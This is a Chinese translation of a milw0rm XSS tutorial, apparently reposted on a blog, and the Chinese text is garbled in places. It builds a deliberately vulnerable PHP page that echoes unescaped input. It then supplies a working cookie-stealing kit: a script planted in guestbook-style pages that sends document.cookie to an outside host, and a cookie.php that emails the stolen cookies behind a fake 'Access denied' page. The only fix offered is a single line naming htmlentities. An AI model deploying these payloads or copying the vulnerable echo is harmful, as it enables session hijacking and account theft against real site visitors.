跨站脚本攻击:跨站脚本-攻击和防御指向

原文:milw0rm.com
作者:Xylitol
翻译:老臧
首发:http://lovelaozang.cn

摘要:
1>什么是XSS?
2>XSS脚本攻击
3>制造个cookie攻击
4>保护XSS
5>笨思路方法
6>过滤绕过
7>Flash攻击
8>XSS 上传
9>XSS 钓鱼

跨站脚本脚本是个浏览器同时利用利用个漏洞为基础安全解决方案 这次袭击使内容(脚本) 在无特权区被执行和权

个特权区-即个特权升级和客户端(浏览器)执行脚本这些漏洞有可能是:

* Web浏览器漏洞这在定条件下允许内容(脚本)在个区被执行权限更高特权区
* Web浏览器配置漏洞,不安全站点在特定区域被列出
* 特定区域被跨站脚本攻击

用命令攻击要有如下两个步骤:
步,用个跨站脚本攻击,得到在特定区域代码执行权限.为了完成攻击,然后利用不安全ActiveXControl控件,来在相应电脑上做

些恶意操作.

当这个攻击完成后,将有恶意软件Software(像蠕虫;远程控制软件Software)被悄悄安装在被攻击者电脑上、打开些有危害网页

新建个文本文档把下面代码放进:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-

transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; char=iso-8859-1" />

<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style><title>Simple XSS vulnerability by Xylitol</title>
<body>
<form action="XSS.php" method="post">
<p align="center"><strong>Simple XSS vulnerability by Xylitol </strong></p>
<div align="center">
<table width="270" border="0">
<tr>
<td width="106"><strong>Search:</strong></td>
<td width="154"><input name="Vulnerability" type="text" id="Vulnerability" /></td>
</tr>
</table>
<table width="268" border="0">
<tr>
<td width="262"><div align="center">
<input name="submit" type="submit" value=" Search it ! " />
</div></td>
</tr>
</table>
</div>
</form>
</body>
</html>

然后把这个页面保存为index.html
再新建个文本文档把下面代码放进去:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; char=iso-8859-1" />
<title>Search result:</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<body>
<span ="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>
</html>

把文件另存为XSS.php

关闭记事本

在firefox里面打开index.html
输入个值然后点search
返回页面输入

<script>alert('XSS')</script>

发送表单
弹出个对话框

XSS攻击这时产生了...
把这段代码插入到个易受攻击页面(如:留言板)

<script>
window.open("http://www.lovelaozang.cn/cookie.php?cookies="+document.cookie);
</script>

(www.Hax0r.com = 你网站WebSite)
打开记事本把下面代码放进去另存为cookie.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; char=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<? mail('[email protected]', 'Cookie stealed ! - thx xyli ', $cookies); ?>
<body>
<h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2>
</body>
</html>

这对于攻击者还不够等着还不如接收电子邮件

修补漏洞:
为修复XSS漏洞使用htmlentities





  • 篇文章: 对趋势科技等数万网站WebSite被攻击分析

  • 篇文章: 社会工程学利用 3个步骤
  • Tags:  跨站脚本注入 跨站脚本漏洞 跨站脚本 跨站脚本攻击

    延伸阅读

    最新评论

    发表评论